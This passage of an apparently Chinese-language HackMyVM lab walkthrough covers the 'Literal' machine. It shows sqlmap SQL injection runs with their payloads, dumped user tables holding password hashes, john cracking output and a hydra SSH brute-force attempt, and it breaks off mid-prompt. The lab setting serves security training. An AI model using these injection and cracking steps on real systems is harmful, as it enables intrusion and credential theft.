/index.html           (Status: 200) [Size: 3325]
/images               (Status: 301) [Size: 321] [--&amp;gt; http://blog.literal.hmv/images/]                                      
/register.php         (Status: 200) [Size: 2159]
/login.php            (Status: 200) [Size: 1893]
/logout.php           (Status: 302) [Size: 0] [--&amp;gt; login.php]
/config.php           (Status: 200) [Size: 0]
/fonts                (Status: 301) [Size: 320] [--&amp;gt; http://blog.literal.hmv/fonts/]                                       
/dashboard.php        (Status: 302) [Size: 0] [--&amp;gt; login.php]
/.php                 (Status: 403) [Size: 281]
/.html                (Status: 403) [Size: 281]
/server-status        (Status: 403) [Size: 281]
Progress: 1985031 / 1985040 (100.00%)
===============================================================
Finished
===============================================================
                      
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/register&lt;/h3&gt;
&lt;p&gt;尝试注册admin失败&lt;/p&gt;
&lt;p&gt;注册kali用户&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Literal-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;/login&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Literal-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;嗨呀，kali。这是我目前在做的一些项目，还有一些未来的想法。我把接下来要做的事儿都记在这儿了，搞不好都是些不值一提的玩意儿，或者说，是&lt;strong&gt;烂到家&lt;/strong&gt;的东西 —— 好吧，反正就是不咋样的东西。不过呢，我是一个人单干，所以时间虽然宝贵，但也不算啥大问题，凡事慢慢来，稳着点就好。（顺便说一句，这个页面做得有点丑，我还在学习中呢）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;看看我都在忙些什么项目&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;退出登录&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Literal-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;POST /next_projects_to_do.php HTTP/1.1
Host: blog.literal.hmv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://blog.literal.hmv
Connection: keep-alive
Referer: http://blog.literal.hmv/next_projects_to_do.php
Cookie: PHPSESSID=l5gd282b80gmbbiggnqjcgfeuk
Upgrade-Insecure-Requests: 1
Priority: u=0, i 

sentence-query=123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 尝试进行&lt;code&gt;sqlmap&lt;/code&gt;：  （慢如龟速，我直接拿wp的用了）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~/temp/literal]
└─$ sqlmap -u &amp;quot;http://blog.literal.hmv/next_projects_to_do.php&amp;quot; --data &amp;quot;sentence-query=1&amp;quot; --cookie=&amp;quot;PHPSESSID=1q4tie68cpa1mue9af2ao65549&amp;quot; --batch --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.2#stable}
|_ -| . [,]     | .&amp;#39;| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:04:49 /2025-06-08/

[12:04:49] [INFO] resuming back-end DBMS &amp;#39;mysql&amp;#39; 
[12:04:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sentence-query (POST)
    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sentence-query=1&amp;#39; AND (SELECT 3428 FROM (SELECT(SLEEP(5)))hFKD) AND &amp;#39;mdnY&amp;#39;=&amp;#39;mdnY

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: sentence-query=1&amp;#39; UNION ALL SELECT NULL,CONCAT(0x717a6b7871,0x4b756f5a616d456b4c76596f48446652644149766b6d64745666776148746858744863505247566e,0x716b626a71),NULL,NULL,NULL-- -
---
[12:04:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL &amp;gt;= 5.0.12
[12:04:49] [INFO] fetching database names
available databases [4]:
[*] blog
[*] information_schema
[*] mysql
[*] performance_schema

[12:04:50] [INFO] fetched data logged to text files under &amp;#39;/home/kali/.local/share/sqlmap/output/blog.literal.hmv&amp;#39;

┌──(kali㉿kali)-[~/temp/literal]
└─$ sqlmap -u &amp;quot;http://blog.literal.hmv/next_projects_to_do.php&amp;quot; --data &amp;quot;sentence-query=1&amp;quot; --cookie=&amp;quot;PHPSESSID=1q4tie68cpa1mue9af2ao65549&amp;quot; --batch -D blog --tables
-----
Database: blog
[2 tables]
+----------+
| projects |
| users    |
+----------+

┌──(kali㉿kali)-[~/temp/literal]
└─$ sqlmap -u &amp;quot;http://blog.literal.hmv/next_projects_to_do.php&amp;quot; --data &amp;quot;sentence-query=1&amp;quot; --cookie=&amp;quot;PHPSESSID=1q4tie68cpa1mue9af2ao65549&amp;quot; --batch -D blog -T users --dump

Database: blog
Table: users
[18 entries]
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
| userid | username  | useremail                        | userpassword                                                 | usercreatedate      |
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
| 1      | test      | test@blog.literal.htb            | $2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma | 2023-04-07 17:21:47 |
| 2      | admin     | admin@blog.literal.htb           | $2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K | 2023-04-07 17:21:47 |
| 3      | carlos    | carlos@blog.literal.htb          | $2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW | 2023-04-07 17:21:48 |
| 4      | freddy123 | freddy123@zeeli.moc              | $2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK | 2023-04-07 17:21:48 |
| 5      | jorg3_M   | jorg3_M@zeeli.moc                | $2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG | 2023-04-07 17:21:48 |
| 6      | aNdr3s1to | aNdr3s1to@puertonacional.ply     | $2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm | 2023-04-07 17:21:48 |
| 7      | kitty     | kitty@estadodelarte.moc          | $2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW | 2023-04-07 17:21:48 |
| 8      | walter    | walter@forumtesting.literal.hmv  | $2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO | 2023-04-07 17:21:48 |
| 9      | estefy    | estefy@caselogic.moc             | $2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa | 2023-04-07 17:21:48 |
| 10     | michael   | michael@without.you              | $2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km | 2023-04-07 17:21:48 |
| 11     | r1ch4rd   | r1ch4rd@forumtesting.literal.hmv | $2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO | 2023-04-07 17:21:48 |
| 12     | fel1x     | fel1x@without.you                | $2y$10$o06afYsuN8yk0yoA.SwMzucLEavlbI8Rl43.S0tbxL.VVSbsCEI0m | 2023-04-07 17:21:48 |
| 13     | kelsey    | kelsey@without.you               | $2y$10$vxN98QmK39rwvVbfubgCWO9W2alVPH4Dp4Bk7DDMWRvfN995V4V6. | 2023-04-07 17:21:48 |
| 14     | jtx       | jtx@tiempoaltiempo.hy            | $2y$10$jN5dt8syJ5cVrlpotOXibeNC/jvW0bn3z6FetbVU/CeFtKwhdhslC | 2023-04-07 17:21:48 |
| 15     | DRphil    | DRphil@alcaldia-tol.gob          | $2y$10$rW58MSsVEaRqr8uIbUeEeuDrYB6nmg7fqGz90rHYHYMt2Qyflm1OC | 2023-04-07 17:21:48 |
| 16     | carm3N    | carm3N@estadodelarte.moc         | $2y$10$D7uF6dKbRfv8U/M/mUj0KujeFxtbj6mHCWT5SaMcug45u7lo/.RnW | 2023-04-07 17:21:48 |
| 17     | lanz      | lanz@literal.htb                 | $2y$10$PLGN5.jq70u3j5fKpR8R6.Zb70So/8IWLi4e69QqJrM8FZvAMf..e | 2023-04-07 17:55:36 |
| 18     | kali      | kali@kali.com                    | $2y$10$zzhgE4mDcdEGhDR6VGwK9.qpCDLnDkFmVB6cSDo.bPNjKdUV.Hw1. | 2025-06-08 15:40:11 |
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Literal-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;test:$2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma
admin:$2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K
carols:$2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW
freddy123:$2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK
jorg3_M:$2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG
aNdr3s1to:$2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm
kitty:$2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW
walter:$2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO
estefy:$2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa
michael:$2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km
r1ch4rd:$2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO
fel1x:$2y$10$o06afYsuN8yk0yoA.SwMzucLEavlbI8Rl43.S0tbxL.VVSbsCEI0m
kelsey:$2y$10$vxN98QmK39rwvVbfubgCWO9W2alVPH4Dp4Bk7DDMWRvfN995V4V6.
jtx:$2y$10$jN5dt8syJ5cVrlpotOXibeNC/jvW0bn3z6FetbVU/CeFtKwhdhslC
DRphil:$2y$10$rW58MSsVEaRqr8uIbUeEeuDrYB6nmg7fqGz90rHYHYMt2Qyflm1OC
carm3N:$2y$10$D7uF6dKbRfv8U/M/mUj0KujeFxtbj6mHCWT5SaMcug45u7lo/.RnW
lanz:$2y$10$PLGN5.jq70u3j5fKpR8R6.Zb70So/8IWLi4e69QqJrM8FZvAMf..e
kali:$2y$10$zzhgE4mDcdEGhDR6VGwK9.qpCDLnDkFmVB6cSDo.bPNjKdUV.Hw1.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 尝试进行破译：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~/temp/literal]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 18 password hashes with 18 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
123456789        (freddy123)     
butterfly        (estefy)     
monica           (r1ch4rd)     
hellokitty       (kitty)     
50cent           (DRphil)     
slipknot         (jorg3_M)     
michael1         (michael)     
147258369        (fel1x)     
kelsey           (kelsey)     
741852963        (walter)
zxcvbnm,./       (jtx)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试爆破但是失败了：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~]
└─$ hydra -L user.txt -P pass.txt ssh://192.168.21.5   
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-07 05:35:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 252 login tries (l:18/p:14), ~16 tries per task
[DATA] attacking ssh://192.168.21.5:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-07 05:36:54
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 在邮箱中发现forumtesting.literal.hmv，在/etc/hosts中添加一下,访问&lt;/p&gt;
&lt;p&gt;跳转至&lt;a href=&quot;http://forumtesting.literal.hmv%E4%BC%9A%E8%B7%B3%E5%88%B0/category.php&quot;&gt;http://forumtesting.literal.hmv/category.php&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~]
└─$ curl http://forumtesting.literal.hmv/category.php
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css&amp;quot;&amp;gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css&amp;quot;&amp;gt;
&amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script src=&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- jQuery --&amp;gt;
&amp;lt;title&amp;gt;c4TLoUis forum&amp;lt;/title&amp;gt; 
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css&amp;quot;&amp;gt;
&amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script src=&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;css/style.css&amp;quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body class=&amp;quot;&amp;quot;&amp;gt;
&amp;lt;div class=&amp;quot;container&amp;quot; style=&amp;quot;min-height:500px;&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;
                &amp;lt;h2&amp;gt;Discussion Forum | About... Imagination&amp;lt;/h2&amp;gt;
                &amp;lt;h3&amp;gt;&amp;lt;a href=&amp;quot;category.php&amp;quot;&amp;gt;Home&amp;lt;/a&amp;gt; | &amp;lt;a href=&amp;quot;login.php&amp;quot;&amp;gt;Login&amp;lt;/a&amp;gt; | &amp;lt;a href=&amp;quot;cp_login.php&amp;quot;&amp;gt;Control Panel&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;


                                        &amp;lt;div class=&amp;quot;single category&amp;quot;&amp;gt;
                                &amp;lt;ul class=&amp;quot;list-unstyled&amp;quot;&amp;gt;
                                        &amp;lt;li&amp;gt;&amp;lt;span style=&amp;quot;font-size:25px;font-weight:bold;&amp;quot;&amp;gt;Categories&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;pull-right&amp;quot;&amp;gt;&amp;lt;span style=&amp;quot;font-size:20px;font-weight:bold;&amp;quot;&amp;gt;Topics / Posts&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;
                                                               &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;category.php?category_id=2&amp;quot; title=&amp;quot;&amp;quot;&amp;gt;Forum details &amp;lt;span class=&amp;quot;pull-right&amp;quot;&amp;gt;0 / 0&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                                                               &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;category.php?category_id=1&amp;quot; title=&amp;quot;&amp;quot;&amp;gt;New things for the blog &amp;lt;span class=&amp;quot;pull-right&amp;quot;&amp;gt;0 / 0&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                                                               &amp;lt;/ul&amp;gt;
                   &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&amp;quot;insert-post-ads1&amp;quot; style=&amp;quot;margin-top:20px;&amp;quot;&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 发现了会跳转到category.php?category_id=2和category.php?category_id=1，尝试SQL注入  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~]
└─$ sqlmap -u &amp;quot;http://forumtesting.literal.hmv/category.php?category_id=1&amp;quot; --dbs
        ___
       __H__                                                    
 ___ ___[)]_____ ___ ___  {1.9.6#stable}                        
|_ -| . [(]     | .&amp;#39;| . |                                       
|___|_  [.]_|_|_|__,|  _|                                       
      |_|V...       |_|   https://sqlmap.org                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 05:07:25 /2025-09-07/

[05:07:25] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own (&amp;#39;PHPSESSID=i22h1s4iub5...odh6ljfn5r&amp;#39;). Do you want to use those [Y/n] y
[05:07:27] [INFO] checking if the target is protected by some kind of WAF/IPS
[05:07:27] [INFO] testing if the target URL content is stable
[05:07:27] [INFO] target URL content is stable
[05:07:27] [INFO] testing if GET parameter &amp;#39;category_id&amp;#39; is dynamic
[05:07:27] [INFO] GET parameter &amp;#39;category_id&amp;#39; appears to be dynamic
[05:07:27] [WARNING] heuristic (basic) test shows that GET parameter &amp;#39;category_id&amp;#39; might not be injectable
[05:07:27] [INFO] testing for SQL injection on GET parameter &amp;#39;category_id&amp;#39;                                                      
[05:07:27] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;                                                    
[05:07:27] [WARNING] reflective value(s) found and filtering out
[05:07:27] [INFO] testing &amp;#39;Boolean-based blind - Parameter replace (original value)&amp;#39;                                            
[05:07:28] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&amp;#39;            
[05:07:28] [INFO] testing &amp;#39;PostgreSQL AND error-based - WHERE or HAVING clause&amp;#39;                                                 
[05:07:28] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&amp;#39;                           
[05:07:28] [INFO] testing &amp;#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)&amp;#39;                                           
[05:07:28] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
[05:07:28] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 stacked queries (comment)&amp;#39;                                                          
[05:07:28] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase stacked queries (comment)&amp;#39;                                               
[05:07:28] [INFO] testing &amp;#39;Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)&amp;#39;                                        
[05:07:28] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39;                                                  
[05:07:48] [INFO] GET parameter &amp;#39;category_id&amp;#39; appears to be &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39; injectable     
it looks like the back-end DBMS is &amp;#39;MySQL&amp;#39;. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for &amp;#39;MySQL&amp;#39; extending provided level (1) and risk (1) values? [Y/n] y
[05:07:53] [INFO] testing &amp;#39;Generic UNION query (NULL) - 1 to 20 columns&amp;#39;                                                        
[05:07:53] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[05:07:53] [INFO] &amp;#39;ORDER BY&amp;#39; technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[05:07:53] [INFO] target URL appears to have 1 column in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] y
[05:07:55] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. &amp;#39;--dbms=mysql&amp;#39;)                                                  
[05:07:55] [INFO] target URL appears to be UNION injectable with 1 columns
[05:07:55] [INFO] checking if the injection point on GET parameter &amp;#39;category_id&amp;#39; is a false positive
GET parameter &amp;#39;category_id&amp;#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:
---
Parameter: category_id (GET)
    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: category_id=1 AND (SELECT 1383 FROM (SELECT(SLEEP(5)))xNgV)
---
[05:08:38] [INFO] the back-end DBMS is MySQL
[05:08:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: PHP, Apache 2.4.41
back-end DBMS: MySQL &amp;gt;= 5.0.12
[05:08:38] [INFO] fetching database names
[05:08:38] [INFO] fetching number of databases
[05:08:38] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option &amp;#39;--time-sec&amp;#39;)? [Y/n] y
[05:09:11] [INFO] adjusting time delay to 1 second due to good response times
3
[05:09:11] [INFO] retrieved: information_schema
[05:11:06] [INFO] retrieved: performance_schema
[05:12:57] [INFO] retrieved: forumtesting
available databases [3]:
[*] forumtesting
[*] information_schema
[*] performance_schema

[05:14:16] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 72 times
[05:14:16] [INFO] fetched data logged to text files under &amp;#39;/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv&amp;#39;      

[*] ending @ 05:14:16 /2025-09-07/
┌──(kali㉿kali)-[~]
└─$ sqlmap -u &amp;quot;http://forumtesting.literal.hmv/category.php?category_id=1&amp;quot; -D forumtesting --tables
        ___
       __H__                                                    
 ___ ___[,]_____ ___ ___  {1.9.6#stable}                        
|_ -| . [&amp;quot;]     | .&amp;#39;| . |                                       
|___|_  [.]_|_|_|__,|  _|                                       
      |_|V...       |_|   https://sqlmap.org                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 05:20:33 /2025-09-07/

[05:20:33] [INFO] resuming back-end DBMS &amp;#39;mysql&amp;#39; 
[05:20:33] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own (&amp;#39;PHPSESSID=1lqb93c1bl9...s3e3671pdm&amp;#39;). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: category_id (GET)
    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: category_id=1 AND (SELECT 1383 FROM (SELECT(SLEEP(5)))xNgV)
---
[05:21:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41, PHP
back-end DBMS: MySQL &amp;gt;= 5.0.12
[05:21:00] [INFO] fetching tables for database: &amp;#39;forumtesting&amp;#39;
[05:21:00] [INFO] fetching number of tables for database &amp;#39;forumtesting&amp;#39;                                                         
[05:21:00] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option &amp;#39;--time-sec&amp;#39;)? [Y/n] y
[05:21:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[05:21:49] [INFO] retrieved: 
[05:21:59] [INFO] adjusting time delay to 1 second due to good response times
forum_category
[05:23:31] [INFO] retrieved: forum_owner
[05:24:19] [INFO] retrieved: forum_posts
[05:25:11] [INFO] retrieved: forum_topics
[05:26:06] [INFO] retrieved: forum_users
Database: forumtesting
[5 tables]
+----------------+
| forum_category |
| forum_owner    |
| forum_posts    |
| forum_topics   |
| forum_users    |
+----------------+

[05:26:48] [INFO] fetched data logged to text files under &amp;#39;/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv&amp;#39;      

[*] ending @ 05:26:48 /2025-09-07/
┌──(kali㉿kali)-[~]
└─$ sqlmap -u &amp;quot;http://forumtesting.literal.hmv/category.php?category_id=1&amp;quot; -D forumtesting -T forum_owner --dump
        ___
       __H__                                                    
 ___ ___[(]_____ ___ ___  {1.9.6#stable}                        
|_ -| . [&amp;quot;]     | .&amp;#39;| . |                                       
|___|_  [(]_|_|_|__,|  _|                                       
      |_|V...       |_|   https://sqlmap.org                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:14:15 /2025-09-07/

[06:14:15] [INFO] resuming back-end DBMS &amp;#39;mysql&amp;#39; 
[06:14:15] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own (&amp;#39;PHPSESSID=v5p5ga41ijk...tke50atlns&amp;#39;). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: category_id (GET)
    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: category_id=1 AND (SELECT 1383 FROM (SELECT(SLEEP(5)))xNgV)
---
[06:14:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41, PHP
back-end DBMS: MySQL &amp;gt;= 5.0.12
[06:14:16] [INFO] fetching columns for table &amp;#39;forum_owner&amp;#39; in database &amp;#39;forumtesting&amp;#39;
[06:14:16] [INFO] resumed: 5
[06:14:16] [INFO] resumed: created
[06:14:16] [INFO] resumed: email
[06:14:16] [INFO] resumed: id
[06:14:16] [INFO] resumed: password
[06:14:16] [INFO] resumed: username
[06:14:16] [INFO] fetching entries for table &amp;#39;forum_owner&amp;#39; in database &amp;#39;forumtesting&amp;#39;
[06:14:16] [INFO] fetching number of entries for table &amp;#39;forum_owner&amp;#39; in database &amp;#39;forumtesting&amp;#39;                                 
[06:14:16] [INFO] resumed: 1
[06:14:16] [INFO] resumed: 2022-02-12
[06:14:16] [INFO] resumed: carlos@forumtesting.literal.htb
[06:14:16] [INFO] resumed: 1
[06:14:16] [INFO] resumed: 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99
[06:14:16] [INFO] resumed: carlos
[06:14:16] [INFO] recognized possible password hashes in column &amp;#39;password&amp;#39;
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[06:14:17] [INFO] writing hashes to a temporary file &amp;#39;/tmp/sqlmaphevyecj1170215/sqlmaphashes-elmqvfdz.txt&amp;#39;                      
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[06:14:18] [INFO] using hash method &amp;#39;sha512_generic_passwd&amp;#39;
what dictionary do you want to use?
[1] default dictionary file &amp;#39;/usr/share/sqlmap/data/txt/wordlist.tx_&amp;#39; (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
&amp;gt; 1
[06:15:09] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
